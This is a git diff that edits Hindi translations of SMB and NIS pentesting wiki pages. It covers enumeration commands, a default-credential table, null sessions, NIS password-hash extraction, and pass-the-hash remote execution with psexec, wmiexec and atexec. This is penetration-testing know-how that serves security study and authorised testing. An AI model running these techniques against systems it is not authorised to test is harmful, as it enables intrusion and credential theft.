-खोज यात्रा आवश्यक पैकेजों की स्थापना से शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करना है ताकि डोमेन नाम और सर्वर IP के साथ इसे पिंग करके NIS सर्वर की उपस्थिति की पुष्टि की जा सके, यह सुनिश्चित करते हुए कि ये तत्व सुरक्षा के लिए गुमनाम हैं।
+खोज यात्रा आवश्यक पैकेजों की स्थापना से शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करना है ताकि NIS सर्वर की उपस्थिति की पुष्टि की जा सके, इसे डोमेन नाम और सर्वर IP के साथ पिंग करके, यह सुनिश्चित करते हुए कि ये तत्व सुरक्षा के लिए गुमनाम हैं।
-अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, जैसे **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
+अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
```bash
# Install NIS tools
apt-get install nis
diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md
index be610c170..3fd9d3b5f 100644
--- a/src/network-services-pentesting/pentesting-smb.md
+++ b/src/network-services-pentesting/pentesting-smb.md
@@ -4,27 +4,27 @@
## **Port 139**
-_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए एक आदेश जारी करता है दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) का उपयोग करते हुए **TCP Port 139**।
+_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, पीसी और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को **TCP पोर्ट 139** का उपयोग करते हुए एक कमांड जारी करता है।
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
-तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
+तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
-उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टम पर, पोर्ट 139 का उपयोग देखा जाता है, जो इंगित करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
+उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
-**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
+**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
-शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे एक क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
+शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
-IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
+IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही ढंग से उपयोग करने पर, यह निम्नलिखित की अधिग्रहण की अनुमति देता है:
- ऑपरेटिंग सिस्टम की जानकारी
- माता-पिता डोमेन का विवरण
@@ -36,7 +36,7 @@ IPC$ शेयर तक पहुँच एक गुमनाम शून्
```bash
enum4linux -a target_ip
```
-उपरोक्त कमांड एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण एन्यूमरेशन करने के लिए कैसे किया जा सकता है।
+उपरोक्त कमांड एक उदाहरण है कि कैसे `enum4linux` का उपयोग एक लक्षित `target_ip` के खिलाफ पूर्ण एन्यूमरेशन करने के लिए किया जा सकता है।
## NTLM क्या है
@@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
-SMB संस्करण के लिए संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
+SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या यह स्क्रिप्ट:
@@ -84,12 +84,12 @@ searchsploit microsoft smb
| **उपयोगकर्ता नाम(s)** | **सामान्य पासवर्ड** |
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
-| गेस्ट | _(खाली)_ |
-| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
-| आर्कसर्व | आर्कसर्व, बैकअप |
-| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
-| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
-| टेस्ट, लैब, डेमो | पासवर्ड, टेस्ट, लैब, डेमो |
+| अतिथि | _(खाली)_ |
+| व्यवस्थापक, admin | _(खाली)_, पासवर्ड, व्यवस्थापक, admin |
+| arcserve | arcserve, बैकअप |
+| tivoli, tmersrvd | tivoli, tmersrvd, admin |
+| backupexec, बैकअप | backupexec, बैकअप, arcada |
+| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
### ब्रूट फोर्स
@@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### साझा फ़ोल्डरों की सूची
-यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने का प्रयास करें।
+यह हमेशा अनुशंसित है कि देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/गेस्ट यूजर** का उपयोग करने की कोशिश करें।
```bash
smbclient --no-pass -L // # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@@ -217,7 +217,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t
smbclient -U '%' -N \\\\\\ # null session to connect to a windows share
smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password)
```
-या स्क्रिप्ट (एक शून्य सत्र का उपयोग करते हुए)
+इस स्क्रिप्ट (एक नल सत्र का उपयोग करते हुए)
```bash
#/bin/bash
@@ -300,7 +300,7 @@ smbclient ///
### डोमेन साझा फ़ोल्डर्स खोज
-- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
+- [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
@@ -310,10 +310,10 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
-विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए **पासवर्ड** रख सकती हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
+विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **पासवर्ड** हो सकती हैं जो **autologon** के साथ Group Policy के माध्यम से कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए हैं। या **`web.config`** फ़ाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
> [!NOTE]
-> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा** जा सकता है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
+> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ी जा सकती है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैसी संवेदनशील जानकारी **पाएंगे**।
## रजिस्ट्री पढ़ें
@@ -331,10 +331,10 @@ The **default config of** a **Samba** server is usually located in `/etc/samba/s
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची बनाने की अनुमति है? |
-| `read only = no` | फ़ाइलों के निर्माण और संशोधन को मना करें? |
-| `writable = yes` | उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति दें? |
-| `guest ok = yes` | बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति दें? |
-| `enable privileges = yes` | विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान करें? |
+| `read only = no` | क्या फ़ाइलों के निर्माण और संशोधन को प्रतिबंधित किया गया है? |
+| `writable = yes` | क्या उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति है? |
+| `guest ok = yes` | क्या बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति है? |
+| `enable privileges = yes` | क्या विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान किया जाएगा? |
| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `directory mask = 0777` | नए बनाए गए निर्देशिकाओं को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
@@ -379,7 +379,7 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
-**अधिक जानकारी** के लिए [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)और [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
+**अधिक जानकारी** [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) और [**smbexec**](../windows-hardening/ntlm/smbexec.md) के बारे में।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -388,11 +388,11 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
-**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, इसके बजाय **NTLM**।
+**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
-बिना डिस्क को छुए या नई सेवा चलाए, **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
+बिना डिस्क को छुए या नई सेवा चलाए **port 135** के माध्यम से DCOM का उपयोग करके एक कमांड शेल को चुपचाप निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
-**पैरामीटर**`-k` का उपयोग करके आप **केरबेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
+**पैरामीटर**`-k` का उपयोग करके आप **केर्बेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]
@@ -409,7 +409,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
-कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करते हुए)।\
+कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके)।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
./atexec.py [[domain/]username[:password]@] "command"
diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md
index 7fccd91de..3d89d02c1 100644
--- a/src/network-services-pentesting/pentesting-smb/README.md
+++ b/src/network-services-pentesting/pentesting-smb/README.md
@@ -4,15 +4,15 @@
## **Port 139**
-The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को **TCP Port 139** का उपयोग करते हुए एक कमांड जारी करता है।
+The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को **TCP Port 139** का उपयोग करते हुए एक आदेश जारी करता है।
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
-तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
+तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS का मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
-उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टमों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
+उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न प्रणालियों पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@@ -20,7 +20,7 @@ The _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* एक सॉफ
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
-शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
+शेयर, जो **स्थानीय फ़ाइल प्रणाली के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
@@ -40,7 +40,7 @@ enum4linux -a target_ip
## NTLM क्या है
-यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप इस पृष्ठ को बहुत दिलचस्प पाएंगे जो **NTLM** के बारे में है जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
+यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप **NTLM** के बारे में इस पृष्ठ को बहुत दिलचस्प पाएंगे जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
{{#ref}}
../../windows-hardening/ntlm/
@@ -54,10 +54,10 @@ nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
-SMB संस्करण के संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
+SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग में है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
-- या इस स्क्रिप्ट का उपयोग करें:
+- या यह स्क्रिप्ट:
```bash
#!/bin/sh
#Author: rewardone
@@ -85,10 +85,10 @@ searchsploit microsoft smb
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
| गेस्ट | _(खाली)_ |
